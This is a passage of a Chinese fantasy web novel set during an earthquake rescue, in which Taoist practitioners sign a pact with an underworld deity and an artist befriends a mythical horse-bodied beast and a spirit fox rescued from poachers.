曹幼枫作为赶尸道人,大多数时间都是在无人区活动,现在火葬流行,这一代的赶尸人其实已经没什么活了,基本上活动的时间都是一些死人多,需要搬运尸体的时候。
比如这次天灾,所以她平时都是做纸扎为生,听说这边天灾才来帮忙的。
让尸体自己搬动身上的重物,从废墟里出来,可比人抬快多了,也能省下好多人力。
扯远了,总之曹幼枫在婴灵出来的时候就察觉到了。
能够说出直接念城隍名字叫她,吴惟身上的鬼神在地府的地位应该不低。
婴灵懒得跟他废话,人间科仪多是复杂漫长的,她也不是没听说过,很干脆地掏出判官笔,写下了沅柩的名字,和一串符咒,“沅姐姐还不出来。”
“死丫头!”鬼未至声先起,金印带着怒气从地底冲天而起,拍向吴惟的额头。
婴灵又是撩完就跑,此时是吴惟在身体里,一脸懵,赶紧护住可怜的额头,坚决拒绝了梅开三度。
城隍印的法印符文“啪”的一声印在了他手背。
金光流转,竟是功德。
沅柩从城隍印中飘出来,挑了挑眉,“功德不少,你救了很多人?”
吴惟:“?”
他自认为没救多少人,也就八十来个,还不是自己的功劳,若不是宋靥星和毕子濯,他们早就不在了,根本等不到自己,跟何况最后还是别人引导者他离开的。
他忘记了,但是常有为知道啊,“是这样的,”常有为看着吴惟迷茫的表情就知道他不记得了,替他解释,“吴惟同志他用归终符阵为我们搜集了好多信息,这才让救援人员及时赶到,救下了很多人。”
因为之前对过消息,在场众人不是很意外。
沅柩却意外了,虽然婴灵说过四大符阵齐聚,但一时之间没想起来也很正常。
一般来说功德不是那么容易外显,当初吴惟能发现自己身上和宁淮身上的功德也是因为判官笔在,那里又是婴灵的辖区。
但是这次出省,之前救人汇聚而来的功德他自然不太能感受的到,这印下去,倒是把它们勾了出来。
沅柩冷哼一声,道:“那臭丫头遇到你是她的福气!”
这种徒弟她也想要!
“便宜她了,这小混蛋,说好了让人间道士召唤我,现在好了,我的供奉没了。”
宿万感觉人都麻了,难怪不需要走流程,他可是看清楚了,刚刚那人拿的是判官笔,他身上就有个地府判官。
而召唤城隍的是一位判官。
听到城隍要供奉,宿万挺上道:“娘娘需要的供奉这里已经准备好了,之后一定为您补上。”
沅柩这才不情不愿地点点头,“行,这事揭过,说正事吧。”
“一般来说哪怕是大天灾地府也是不插手人间的,但最近情况特殊。”怎么个特殊法她没说,这件事毕竟不适合大规模传播。
在场知道的肯定知道她说的什么,不知道的也没必要知道,都是玄门中人,自然知道,有些事不告诉他们就是不能说了。
“若是人间需要支援,地府这边可以帮忙,不过需要人间和地府签订契约,我们会派遣十大阴帅配合你们。”
“签订契约需要什么?”这话是常有为问的,他是西南战区的司令,按照玄门的说法,他应该是最有权限去和地府签订契约的。
“官方的负责人,嗯,就是你吧。”城隍掌管生死簿,自然也有自己的识人本事。
沅柩指尖一点空中展现出一份文书,自动翻译成他们能看得懂的语句映在他们脑海中。
其中内容非常简单,规定了天灾救灾期间十大阴帅可在灾区活动,一方面在他们需要的时候帮助活人,另一方面若是遇到鬼魂由地府带走,人间也需要帮他们解决一些鬼怪方面的问题。
另外若是遇到特殊事件人间解决不了可以直接诵念他们的名号召请六案功曹,但不能随便念,每次召唤都是有代价的。
在场众上看了之后都觉得没什么问题,司令就在上面签了字。
这群人倒也不算是随便叫的,楚星垣所在的楚家在风水界声望很高,他代表风水界没什么问题,莫繁是卜算一道的第一人,宋靥星在阵师中声望极高,毕子濯在天师界也算有名望,曲枫荷是道医翘楚,宿万虽然是卜师,但作为科仪高功他符箓功底也不低,曹幼枫代表一些使用小众玄术的偏门人士绰绰有余,而常有为和赵年代表官方。
至于吴惟,他代表的也是地府。
这阵容,别人不知道,但天道是认可的,既然多方都同意了,契约自然生效。
契约即成,一条无形的丝线分成几股分别落在在场众人头上,所有人都感受到了一种约束力。
沅柩伸了个懒腰,“该说的说完了,我就不多留了,呐,拿着这些令牌,阴帅和鬼卒的你们应该分得清。”
“记得给阳气重或者有清气护体的人用。”
虽然鬼魂也是属阳的,但是为了在外界不被清气同化,需要很多阴气护体,这也是很多人认为鬼属阴,冲撞了容易生病的原因。
沅柩把令牌发出去,数百枚令牌漂浮在空中,依次排开,也不管这些活人之后怎么样,直接带着城隍印消失在众人眼前。
待人走后,众人上前查看令牌,说是十大阴帅,实际上只有夜游神和拘魂使。
“妖冥使本身是管动物的,鬼王管的是地狱,不在其中也情有可原,可是为什么没有日游神?”
婴灵作为判官,自然知道地府变迁,同众人科普道:“日游神并入夜游神了。”
其实在古代日游神也少,一般都是需要赎罪又身具功德的鬼神担任的,他们大多不是很长命。
现代社会人口众多,太容易和人冲撞上了,自然就取缔了日游神这个位置,并入夜游神的队伍里。
不过但是拘魂使也够用了。
众人商量过后,决定把夜游巡使的牌子给曹幼枫,这是她最熟悉的鬼神。
黑白无常给宋毕二人,他们战力高,容易发现一些重要的地方,效率很高,
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黑白无常也是拘魂使中效率最高选上来的。
牛头马面归楚莫二人,这二人能力都不是战斗方面,牛头马面因职责是对付恶鬼,所以战力是最高的,最适合他们。
值得一提的是,和神话演化出来的不同,黑白无常和牛头马面都只是官职称呼,因为人们对鬼神的幻想,才会出现这样的名字,但他们其实都是正常人的形态。
另外拘魂使也不只有他们四个,他们手下都是有其他拘魂使存在的,只不过黑白无常拼效率,牛头马面拼武力,手下的鬼卒能力够了也是可以挑战他们自己上位的。
曲枫荷负责治疗,不需要,司令坐镇总部也不需要,吴惟有婴灵,宿万也拿了个夜游神的牌子。
剩下的鬼神令牌,由赵年和常皓轩分发给特事局和其他玄门人士。
特事局能力虽然不高但人品都能保证,玄门人士还需要考察,若是还有多的,就给一些知情战士作为防身。
一切井然有序地进行着。
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“孰湖,快点,前面就是川省了!”灰头土脸的青年骑在人首马身的精怪背上,一手抱着它的腰,一手还托着一只受伤的小狐狸。
孰湖嘶鸣一声加快了速度。
背后枪声响起,孰湖偏了一下身子躲过…
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“有枪声。”常笑辨别了一下枪声的位置,把吴惟挡在身后,周围的军人也瞬间进入防守状态。
常笑快速扫过四周,他们在山林里,距离大路就有不近的距离,可以说人迹罕至。
常笑带着吴惟快速找了个掩体蹲下,“你在这等我一会儿,我去看看。”
“注意安全。”
“嗯。”
常笑打了个手势,示意姚洞留下观察情况,以及保护吴惟,之后压低身形,带着几个人朝着枪响处慢慢探了过去。
他们这里是川省与雍省的交汇处,昨天归终的被动技能突然触发了,一条信息被塞进他脑子里,让他来这个位置接人。
至于是谁不知道,只是能感受到一丝危险的气息。
归终不会无缘无故给消息,吴惟把这件事上报了。
本来司令并不想他来,但奈何他指不出位置,只能凭感觉找,无法,最终只能派了一支小队跟吴惟一起出任务。
常笑听到急促的脚步声,打了个手势,几人迅速找到掩体藏起身形。
只见一个人首马身的怪物驮着一个人类女性朝他们这边冲过来。
“砰!”又是一声枪响,子弹直冲青年的后脑勺。
孰湖猛地刹车转身,子弹没入孰湖的肩头!
“孰湖!”
枪声暴露了身后开枪之人的位置,枪响过后下一秒,常笑直接抬手,“砰”的一声击中对面。
几位军人在第二声枪响过后,迅速行动起来,一部分人把一人两兽护在身后,另外一部分人追了上去。
没错,刚刚第二声枪响过后,刚刚还追一人两兽的的几人愣了一下,看到对面的制服,扭头就跑。
见危机解除,常笑快步上前查看情况。
“孰湖,你没事吧!”
“嘤~”马儿回应了一声,它想说它没事,不用担心。
“这位小姐,可以先放开它吗,让我帮他包扎一下。”常笑冷静掏出背上的急救工具,不论是什么怪物,既然会救人,那就是他们军警的好朋友。
女子一边道谢一边转过头看向常笑,“谢谢…笑笑?”
“大姐头?”
两人都愣住了,这不是他们三班的班长吗?好像也不是很意外,都能和精怪在一起了。
“先不说了,我先为它包扎,之后等到基地再说。”常笑示意殳玲让出位置,熟练地给孰湖上了消炎的药,“有点疼,你忍一下。”
孰湖很乖,全程没有乱动或者叫喊。
“好了。”
“呼…”殳玲松了一口气,这才有心情问些别的,“你怎么会在这?”
“来接你的。”
殳玲有些惊讶了,“你知道我会来?”
“不知道是你。”常笑没多说什么,问孰湖,“能站起来吗,需不需要用担架抬?”
孰湖嘶鸣了一声,慢慢站起身来。
“啊,是孰湖!”婴灵告诉吴惟这边没有危险了之后,他也过来了,刚好看到站起身来高大的孰湖。
说是人首马身,其实正常马脖子的位置,被整个人的上半身做替代。
吴惟画过孰湖的设定,对它很熟悉,这只孰湖和他画的有点太像了,连身上的衣服配饰都一模一样。
看到旁边站着的殳玲似乎又不意外了。
当初这个设就是大姐头让他画的。
孰湖看到吴惟似乎很高兴,踢拉着蹄子朝他走了过来,在众军人紧张的眼神中,不顾胳膊上的伤,把人举了起来…
吴惟:“?”
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38.第 38 章
就,有句话不知当讲不当讲。
知道你是孰湖喜欢举高高,但是为什么是我?!难不成因为自己最矮?
吴惟表情裂开了。
“那个,”殳玲见军人们都快拔枪了,冷汗都冒出来了,赶紧提孰湖解释一句,“孰湖不会伤人的,他只是喜欢举高高。”
她小时候还经常跟孰湖玩这个游戏呢。
“所以,可以先让他放我下来不。”吴惟生无可恋,这该死的愿力,还有这种副作用。
他不知道的是,就算没有愿力孰湖也很喜欢他,它把人类当成了自己的孩子。
而现在在一群壮实的军人中间,吴惟和它见到的,小时候的殳玲一样,一眼望过去,就是一群孩子当中最弱的那个,让孰湖很难不偏心疼爱他。
孰湖听懂了他的话,乖乖地把他放下来,弯下腰用脸蹭了他两下。
刚刚包扎好的地方又开始渗血,常笑把它拉过来,重新包扎了一下,
吴惟把愿力聚集起来,在殳玲怀中那只小狐狸的眉心处画了个符阵,小狐狸的身体慢慢放松起来。
“暂时没事了。”说完,他向殳玲问起了情况。
有几个战士去抓那群行凶的人了,他们得在这接应他们。
提起这件事,殳玲脸色就不好了。
“你们知道我运行一家游戏公司,最近赚了不少钱嘛,这不是这次大地震,我琢磨着捐点物资过来。”
“后来到处打听才知道这边山路断了,想要运送物资过来只能走空运,或者人力运送。”
“刚好我家小狐狸会点空间术法,孰湖脚程快,对山路又比较熟悉,我就想不然直接走山路过来。”
看见吴惟欲言又止的表情,她解释道,“我家有点人脉,是知道官方对这些不同寻常的事有些了解,哪怕我突然拿出那么多物资,也顶多被盘问一下。”
“只不过本来我也不打算暴露孰湖的,他太特殊了。”
这些上古物种,几乎绝迹了,谁能想到竟然还有活着的,就连婴灵都说几乎没有活着的妖了。
虽然孰湖其实严格来说应该属于精怪。
“至于那些人,是一群偷猎者!”殳玲说到他们,脸色冷了下来。
“他们趁着官方救灾无暇顾及他们,就肆无忌惮在这附近偷猎,我们不小心误入他们所在的领地,发现了这个事,就被他们一路追杀到了这里。”
其实孰湖论速度,也不是太快,人类多练练能跟它跑的差不多,只不过因为对山里地形比较熟悉,蹄子又是最适合山路的构造,在山上畅行无阻。
川省山多,在川省的地界能完美发挥它的优势,若不是她们被追杀的地方还在相对平缓的雍省,怎么可能会被紧追不舍!
“对了,刚刚常笑说你们是来接我的怎么回事?”
“有个有预言能力的东西告诉我们来着能接到很重要的人物。”吴惟看了眼孰湖,“应该说的就是你们。”
孰湖在山上能随便跑,川省山地多,有些地界的人们可能被困在山上下不来,有孰湖在方便很多。
虽然他们无法让孰湖去载多少人下来,但是探路和运送物资配合着空间还是可以的,玄门会捏空间的人应当不在少数。
现在暂时没什么事了,吴惟把在空间里呆了好久的闹闹放了出来。
甫一出来,闹闹便扑腾着翅膀飞上吴惟肩头,靠在他脖子上不动了。
“你居然养鸟了。”殳玲有些惊奇,上手去逗,被啄了两下。
“嗯,小心,八哥这种鸟脾气不是太好。”闹闹也是这样的,除了吴惟谁都啄,连宁淮都被啄过。
只不过后来熟悉了,只是象征性的啄罢了,可见愿力这玩意在动物界有多作弊了。
“是吗,我看它挺乖的,也不飞出去玩。”
“还在换羽毛,应该不是很想飞。”
趴在吴惟肩头的闹闹,没一会就侧身躺在吴惟肩膀上晒起了太阳。
“噗,这都摊成一块饼了。”
孰湖被包扎好了,把脑袋探过来,似乎对这个突然出现的小家伙很感兴趣,画面一时间变得温暖和谐。
没过多久,偷猎者被追出去的军人尽数抓回来,这伙偷猎者一共六个人,其中一个被常笑开枪打死,抓回来的五个人多多少少都受了点伤。
不过他们可不惯着,直接拎着几人就往回走。
孰湖绕着吴惟转了两圈,侧身挡在他面前,“它在邀请你骑它。”
这话怎么听着怪怪的。
孰湖偏过脑袋,眼睛亮晶晶的,充满希冀地看着他,吴惟…吴惟表示顶不住。
骑孰湖欸,听起来好帅!二次元谁没点异兽情节!
但是殳玲跑了这一路了,应该挺累的。
殳玲接收到吴惟的眼神信号,说道:“我都骑一路了,胯那里估计都不能看了,骑是骑不动了。”
那边军人们听她说骑不动马,主动提出组装个简易担架抬着她,她也不矫情,自己的状态确实不好。
军人的速度就是快,没一会儿就组装好了,吴惟见状也收起闹闹。
殳玲不骑了,吴惟自然没有了顾虑,翻身上马的动作都有点小帅。
他之前是学过骑马的,因为找素材总是感觉画出来不对味,想象不出来是什么样子,再加上对马有那么点情结,就去学了。
孰湖身上是马鞍马镫一应俱全。
装这些装备也是为了殳玲的安全,它主才动提出来,好带着当初那个小殳玲漫山遍野跑着玩。
现在也方便了吴惟。
孰湖很高兴,带着吴惟跑来跑去。
“真像个小孩子。”一名军人吐槽道。
殳玲看着孰湖欢快的背影,笑眯眯地说道:“谁说不是呢,它以前就是这样。”
“不过体力真好让人羡慕啊。”
“……”
.
被孰湖举起来的曲枫荷浑身冒着黑气,它似乎感受到手上这人的心情,眼睛里露出困惑的表情,但作为精怪的直觉让它赶紧松手把她放下了。
伤患在医生面前不把伤当回事随便牵动致使它裂开的举动,在医生面前是大忌。
孰湖直接被曲枫荷用麻药放倒。
看它不在乱动,曲枫荷这才满意地拆包装…哦不,拆纱布,准备取出子弹。
精怪的愈合能力很强,只要把子弹取出来,不出两天,就能痊愈。
曲枫荷给孰湖取完弹,直接一个祝由术扔它身上,就不再管了,孰湖晕晕乎乎睡了过去,伤口愈合速度虽然不算快,却肉眼可见。
解决完孰湖,曲枫荷把视线投向睡着的小狐狸,这小狐狸现在问题倒是不大了。
以她的眼力能看出来,之前一直昏迷,是失血过多,又被什么东西阻碍了自身恢复能力。
一直无法好转,被吴惟用愿力清除之后,已经开始慢慢愈合了,只不过之前流了太多血,若不是它修为不低,早就不行了。
“熟地、白芍、川芎…”曲枫荷抓了些药,让人给它煎了一副圣愈汤。
虽然这里药材紧缺,精怪本身又能自愈,放它不管也没事。但有药总比没药好的快,没必要让它多受几天苦,尤其是这小狐狸带了大量的物资过来,也算是功臣了。
他们华夏人又没有亏待功臣的道理。
曲枫荷想了想,又从包里取出银针,在它背上扎了个七星补阳针。
这个针法是补气最快的方法,一般来说气主阳,血主阴,阴阳是一种相生相克的关系,气血也一样。
论相生,气是血液生成的动力,气旺则血充,补气可以促进血液的生成。
论相克,气有固摄的作用,对愈合伤口有利。
七星补阳针是需要留针的,曲枫荷嘱咐了一下吴惟到时间帮忙拔针之后,才去忙别的。
吴惟:“?”
不是你就默认了我会拔针是吧…不过他还真会,托妈妈的服,他自己也被扎过不少次,知道顺序。
难得清闲下来,吴惟靠着孰湖掏出平板摸起了鱼。
画画人说的摸鱼一般也是画画,只不过不是什么正儿八斤的内容。
他画了一张摸鱼页,上面是神态各异的孰湖,以及Q版孰湖的举高高。
虽然被举起来的时候很无奈,但是不得不说孰湖这个特性还是蛮可爱的,画的时候让人不禁会心一笑。
孰湖看着画面中的自己,很开心,记下了吴惟的小爱好,决定以后多抱抱他。
吴惟以后要是知道了,怕不是会穿越回来掐死自己吧:)
事事无为:[举高高 #图片# ]
[好可爱!太太主页这段时间都是沉重的内容,呜呜呜可爱的孰湖治愈了我的内心]
[太可爱了,我也要举高高]
[太太都能抽时间摸鱼了,是不是灾区情况好多了]
[楼上的,我关注了寒玉姑娘的直播间,情况确实好多了,大部分人都地区已经被清理出来了,很多人已经开始重建了,现在最大的问题是山区很多地方
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还情况不明,很多人在帮忙清理山路呢]
[原来如此,也算告一段落,话说灾区物资够了吗,我听说外面的路现在还是不好走,运输也不是太好运进去]
事事无为:[刚到了一批大物资,压力小了很多,官方已经开始对山区进行了搜救,大家可以放心]
事事无为:[前两天看到一个让人很感动的小故事,一会儿发给你们看]
[好哎,更新!我喜欢小故事,这几天太压抑了,确实要来点正能量]
吴惟打开pro,把画的城隍庙给打开,开始修修改改。
之前因为画太多了手感不好,就没发,今天画画孰湖放松很多,状态又回来了,发现了哪里有问题,正好拉出来修修。
倒不是构图问题,只是后期氛围太压抑了,完全没有他想要的救赎感,如今只要把色调和一些细节调一下就完美了。
半个小时后,吴惟把这张画完成了,看了眼时间,先去给小狐狸拔了针。
正常来说这针不需要留那么久,也就一个小时,但小狐狸之前伤太重了,身体亏空严重,曲枫荷扎针的时候用上了清气,其实可以理解成在它身上布置了一个聚灵阵。
只不过七星补阳针是根据经络修改过的,生发的阳气直接在体内流转,不需要主动吸收,也不会对身体造成伤害。
拔完针,它悠悠转醒,眼睛一动不动得看着吴惟,歪了歪脑袋。
它知道这个人救了自己,因为他的气息很熟悉,是他帮自己抹去了那团让自己身体无法愈合的煞气。
把针具消毒放好回过头来就看到这小家伙一直盯着自己。
被小动物盯着,可比被人盯强,他倒是不怕,端起旁边温着的圣愈汤来到它面前,轻声哄道:“乖,把这个喝了。”
小狐狸闻了闻,用爪子捂住了鼻子。
“我知道你不喜欢喝,但是喝了药才好的快呀。”这哄孩子的语气,婴灵听了都觉得震惊。
小狐狸看了看黑乎乎的汤药,再看看吴惟关切的表情,一咬牙,一狠心,抢过碗咕嘟咕嘟往嘴里灌。
咦?好像没有想象中的难喝?
小狐狸有点茫然,吴惟不知道为什么自己能看懂狐狸的表情,解释道:“因为这是你身体需要的,等你哪天觉得这药很难喝,尝一口就想吐了,就说明你已经好了。”
是这样吗?小狐狸不理解,小狐狸大为震撼,但小狐狸信了。
它很开心,用头拱了拱吴惟的手。
吴惟顺势摸摸它脑袋,“还困吗,要不要出去转转?我带你去找玲玲姐好不好?”
小狐狸听到殳玲的外号,眼睛都亮了,疯狂点头。
“好,那你稍等我一会儿,我发个消息咱们就去。”小狐狸乖巧蹲在原地,爪爪学猫搭在胸前,眼巴巴地看着他。
吴惟加紧速度掏出手机,把刚刚画的那幅画发了,
事事无为:[新生 #图片# ]
之后就不再关注某博,打开某鹅,发了个语音请求,不一会儿就被接通了。
“喂?怎么了神子大人?”
“你家小狐狸想你了,在哪呢?我带它过去。”
殳玲捂住询问了一下身边的人能不能叫人过来得到肯定答复之后才对吴惟说,“我在司令这呢,你过来吧。”
“行。”
挂断电话,吴惟抱起小狐狸刚走到门口,被孰湖从后面抱了起来。
吴惟:“?”
不是,你不要这么熟练啊喂!
他真的不想一天天被人当小孩一样卡着腋下举高高…
还不知道给自己挖了个坑的某人如是想道。
大概明白了孰湖的意图,吴惟有些无奈地说道:“不行啊,你目标太大,被人看到就不好了。”
孰湖失落地放下他,嘴里发出嘤嘤的的声音。
吴惟看出他的失落,摸了摸他脑袋,熟湖虽然长着人脑袋,但它的毛发却竟是像小动物毛发一样柔软。
吴惟想了一下,把闹闹放了出来,又把骨笛放在桌子上,“我让他们陪你玩好不好?”
孰湖把小鸟放在自己头顶,嘶鸣一声表示同意。
闹闹好奇地啄了两下,发现脚下很柔软,很满意自己的新窝,一屁股趴了上去。
吴惟看他们相处的不错,把心放了下来,对宁淮嘱咐了一句,“帮我看一下他们。”
“好。”
安排好后续,这才抱着小狐狸,招呼门外站岗的常笑离开。
.
39.第 39 章
执殳为王:快看我发现了谁
执殳为王:#图片#
喵姐:哇,居然是笑笑,好久没见了,这背景怎么这么看起来像是灾区?
喵姐:没想到笑笑居然当兵了
执殳为王:是啊,我们在灾区呢
执殳为王:他之前就是保留学籍去当兵的,现在又回去也不意外
执殳为王:而且以他的性格确实适合当兵,不过这不是重点,看这个
执殳为王:#图片#
喵姐:!卧槽,玲玲姐你好会拍,好有感觉!!!
这张图片是常笑站岗的时候,吴惟跟他说了什么他听得很认真,一个抬头一个低头,角度还是殳玲特意选的。
两只乱磕杂粮狗凑到一起,从来没有好事,三班别说男生了,就连百合她们都磕了不少。
她们雨露均沾,甚至自己都磕…咳…
喵姐:呜呜呜这什么大号忠犬啊,太好磕了吧,我又跳墙了!!
喵姐:一个坚毅果敢大忠犬,一个清冷温柔大美人,太会了真的太会了!!
你别说,你还真别说,殳玲自从知道常笑被分配给吴惟当警卫员了,就磕地飞起…虽然到现在还不足一天。
但时间短,正是磕的上头呢,可惜不能说。
毕竟警卫员这个词,说出来就暴露自家牛比的老同学在官方的地位了,能配备警卫谁知道是不是需要保密的。
而且穿着军装怎么说是保镖都不合适。
不过一张图,也够云菲脑补了。擦着边浅浅磕一下没问题的对吧。
殳玲不自觉挂上了姨母笑。
正磕的欢,就被通知司令请她过去一下,殳玲从容淡定收起手机。
其实司令找她没有别的什么事,一来是知道这是自家孩子的同学想见见,二来呢听说这孩子带了大批的物资前来得好好感谢一下。
虽然小狐狸还在昏迷,物资还没运到。
另外,就是商量一下能不能请孰湖帮忙查探一些,他们不好抵达或者还没来得极去探的山村的情况,有需要的话运送运送一下物资什么的。
殳玲当然会答应了,毕竟她们本来就是来支援的,需要做什么全凭官方安排,她唯一的要求就是不能有任何为难孰湖的地方。
司令保证,他们华夏人可没有为难英雄的传统。
这一刻殳玲有点庆幸孰湖暴露了。
因为能救更多的人。
也因为这次暴露在官方面前总比自己藏着哪天不小心暴露在有心之人眼中强。
难怪好多人喜欢写上交文呢。
.
[!是谁,因为一幅画泪流满面,是我啊!!这什么母性的光辉]
[呜呜呜城隍爷让人在庙里生孩子,城隍爷好,医生为孩子接生,医生好,道长帮忙照顾孩子和产妇,道长好,大家都好好!!]
[……]
[大家快去看,刚刚官方公告出来了,这座庙在妇产科医院的上面,几乎没有遭到破坏,之后又收留了很多产妇和医生,据说最开始条件挺艰苦的,第二天晚上就有军人连夜搜救找到他们,把物资运了上去
重点是那座庙位置很偏,咱们官方效率太高了,太让人安心了!现在庙里已经有三十多个宝宝出生了,母子平安
哦对,听说那里因为破坏不算严重,现在已经是官方的一个据点了,军人叔叔又在附近山里进行搜救,找到了不少人]
[好好好,太好了,这可能是这几天听到最好的消息了!]
新生总是能带给人希望,这些孩子的出生,就好像能让人看到曙光一样,虽然从这段时间的救援情况来看,本来慢慢向好,但到底不及这些孩子来的震撼。
[太太的画好像每次都比公告靠前,咱就是说,太太是不是有什么内部消息?]
[也不一定吧,我觉得说不定是太太先发现的呢,你想啊画画需要时间吧,就算有什么消息也是之后才能得到,官方动作肯定比太太快,怎么可能是他先发呢,更何况太太平时还要出去帮忙,这到底是有几个肝啊敢这么搞]
[我觉得对于太太来说可能画画就是休息#黄豆捂脸# ]
[我也觉得,而且说不定太太有什么预言能力呢,提前看到了告诉官方然后开始画画]
[太生草了,你怎么不说太太就是官方重要情报人员呢]
[楼上你们别太离谱了,不看画请出门右转,不要给太太招黑!]
[我早就想说了,要我把太太简介拍你脸上吗,他自己都说了,希望大家只关注他的创作内容,不要关注三次元]
[大家也只是关心嘛,说话这么冲干嘛,我们也只是随便猜猜]
[绘圈深受饭圈文化迫害,无为太太从来不混圈,我们当然不希望这片净土也被污染了]
[……]
楼层越来越歪,评论区越说越上头,慢慢地就吵了起来。
但这不关吴惟的事,此时他已经抱着小狐狸来到司令部,警卫员没有通报,直接把他请了进去。
这段时间一直是这样,现在已经慢慢习惯了。
“来了?”常有为熟稔地朝吴惟招了招手,“笑笑也进来吧。”
此时司令部只有常有为、殳玲、吴惟和常笑四人,活像孩子带同学来家里玩。
好在吴惟和殳玲都不知道…
其实倒也不是,殳玲看司令的脸就猜出来了,她可不像吴惟直接把这个可能性掐了,觉得没必要多想。
难怪笑笑会当兵呢,这怕不是什么军人世家?
小狐狸见到殳玲就很高兴,“嘤嘤”地叫了起来,若不是身上有伤不敢乱动,估计就自己跳下来了。
虽然这个人类很好,但玲玲是它最喜欢的人!
吴惟见状快步走上前,小心翼翼地把小狐狸塞殳玲怀里。
“烟烟你终于醒了!”殳玲小心避开小狐狸的伤口,用脸蹭了蹭它,小狐狸下意识伸出舌头舔了殳玲两口。
果然是犬科,跟狗子好像。
一人一兽温存了一会儿,殳玲才问小狐狸:“烟烟,空间里的东西你现在能拿出来吗?我就问问,不要勉强。”
“嗯,可以哒!”小奶音从小狐狸嘴里吐露,在场众人皆是一惊,哪怕是婴灵都有些惊讶了。
“这个时代居然也有讨口封成功的狐仙?”
讨口封是精怪修行的一个方向,和妖修不同,它们并不是单纯单纯修炼已身,而是从人类口中讨一个修炼成人的契机。
因为其中人类发挥的作用很大,所以它们能够化形成人之后都会需要报恩,守护这个人类或者他的家人,所以也有保家仙一说。
玄学中语言可以通灵,而承诺、承认这种有许诺意味的话语,出口成契,而动物讨口封就是这样的行为。
总的来说,这是一条捷径,它可以让它们省去多年修行的过程,但修为不像自己一步一个脚印修行出来的妖修那么稳固,
并且这个行为和人类深度绑定。
这个时代大多不信也不懂这些,这也是这个时代山中精怪想要修成的困难之一。
另外一个困难则是,因为城市化,生活在钢筋混凝土社会的人们,对自然并没有那么多敬畏心,哪怕国家大力宣扬保护环境,保护野生动物,依旧有很多人不理解这是为什么。
对自然没有敬畏,被动物们问到一些问题的时候,自然是有什么说什么,自然让讨口封的动物们难上加难。
那句“建国之后不许成精”的戏言,就是以这个方式应验的。
虽然婴灵不是很清楚其中关窍,但地府判官手上信息汇总下来,得出现代能够修成的精怪几乎已经绝迹的结论,也是不难的。
婴灵那句话是在吴惟脑子里说的,是以大家都没听到。
殳玲得到小狐狸的肯定,就嘱咐道:“你先好好休息,明天我们要去一个大仓库,到时候你要把空间里的东西都挪出来,可以做到吗?”
“当然可以!”小狐狸骄傲抬头,它只是身上受伤了,并不妨碍它使用能力。
“嗯,真厉害!”殳玲不吝夸奖。
这是她之前和司令商量好的,先把地方准备好,等小狐狸能够取出来的时候,直接过去就可以了,那里只有外面有人看守,不担心使用空间被发现。
“好,好孩子。”常有为一边夸赞,一边试探着伸手摸了摸小狐狸脑袋。
小狐狸没有反抗,这
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个人一身正气,还有功德傍身,虽然功德之下隐藏着血煞之气,但是作为一名军人这很正常。
这样保家卫国的人,小狐狸还是很尊重的。
常有为更开心了,脸都笑出褶子了,他忽然觉得自己儿子运气真好,遇到的伙伴都是可以托付后背的好孩子。
“天都黑了,都还没吃饭吧,要不一起?”常有为试探着问了一句,他怕孩子们不喜欢跟他一个老爷子一起。
这个老爷子是自称的,他其实也才五十多岁。
“我都行。”殳玲第一个点头。
常笑什么都没说,看向吴惟,吴惟…吴惟辟谷,不过也不是不行。
因为他还有点事想说,也不能让人不吃饭吧。
司令叫警卫员打了点饭回来,几人把两张桌子一拼,围坐在一起。
修行人辟谷不会很麻烦,复食了可以直接吃正常的东西,因为之前一段时间给胃减轻了负担,现在胃气很足,吃啥都香。
华夏人的饭桌上,从来都是很热闹的,司令家里没什么奇奇怪怪的规律,说话也很随意。
“我听说玲玲之前是我们家笑笑也班长?”
“是啊,常司令果然是笑笑也爸爸吗?”
“哈哈,是啊,我们家臭小子在学校没给你们添麻烦吧?”
“没有没有,笑笑帮了我好多呢,之前不是其他班上同学欺负我们班同学嘛,我让笑笑黑着脸往那一站,直接把人吓跑了哈哈哈哈。”
“哈哈,有老子当年风范…”
常笑早就习惯自家老爹离开正事就不靠谱的性格了,很是淡定。
只是他淡定了,吴惟淡定不了一点,虽然面无表情,但耳尖已经红的滴血了。
“小惟是个好孩子啊,你是不知道,小惟他啊,为了给画我们提供信息的符阵,差点就晕过去了,一点都不知道爱惜自己。”
“我听笑笑说,之前出任务,他好几次力竭,都快站不住了,自己愣是没感觉,回来还画画给人祈福,哎。”说着还责备地看了一眼吴惟。
别骂了别骂了…
见他脑袋都快埋碗里了才停嘴,哼,知道不好意思,以后就少干这事!我还对付不了你个小朋友吗?
“叔你放心,我会看着他的。”殳玲瞪了一眼吴惟,向常有为保证。
“好好好,好孩子,麻烦你了。”
常有为很会看人,自家崽他再清楚不过了,再会照顾人,也是个闷葫芦,对方只要不听,他就不说了。
但是殳玲这孩子不一样,很会管人,绝对能压制住听人说话总是左耳朵进右耳朵出的吴惟。
吴惟实在听不下去了,给自己换了一副面孔,一本正经地转移话题,“那什么,我有件事想说。”
常有为见好就收,没再继续,反而是放下碗筷摆出一副认真倾听的样子。
“之前沅姐…城隍给对方令牌不是只有夜游神和拘魂使的吗,因为妖冥使那边是勾动物精魄的,他们有他们的任务,咱们用不上。”
“换句话说,因为无法沟通,所以咱们也帮不上帮,但是玲玲姐在,也许可以和城隍沟通一下,这部分让她负责?”
好险,听婴灵“沅姐姐”叫多了差点脱口而出,婴灵叫没问题,她们官职同级,关系又好,但自己这个小辈肯定不合适了。
殳玲其实也不是可以直接和动物沟通,她只是托了小狐狸的福,对精怪的亲和力比较强。
但有孰湖和小狐狸在,她再从中斡旋刚刚好。
之前说过殳玲是三班的班长,领导能力还是不错的,而这小狐狸的婴灵告诉吴惟这是青狐,天赋中也是有协调统御的能力。
这一人一兽配合好了,效率直接翻倍,沅柩那边想必会同意的。
常有为思考一下,觉得这很可以,他之前没有想到,是因为对玄学方面本身不了解,更何况是地府。
现在连地府结构都不甚了解,虽然之前听人提了一嘴,但既然无法调用,自然没注意到这方面。
听吴惟这么一提到才想起来,“那么联系城隍的事就交给你了。”
也…也行吧,确实这种事婴灵出面,才不容易被坑,社恐内心泪流满面地应下。
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40.第 40 章
再一次被孰湖举高高吴惟已经习惯了,毕竟连常笑这个大高个都被举高高了,他还要什么自行车,孩子高兴就好。
只不过他被举的频率是不是有点过于高了?!
孰湖确实很开心,转了两圈才把人放下来,又开开心心跑去举常笑了。
被放下来之后,吴惟才空出手来把长发盘起来。
吴惟手艺很好,里面夹根发带,一般都能盘的很结实,就是一坨全在头顶怎么看怎么像道士。
这段时间他都是跟常笑和殳玲在山里跑,活其实轻松了不少。
因为遇到的人少了。
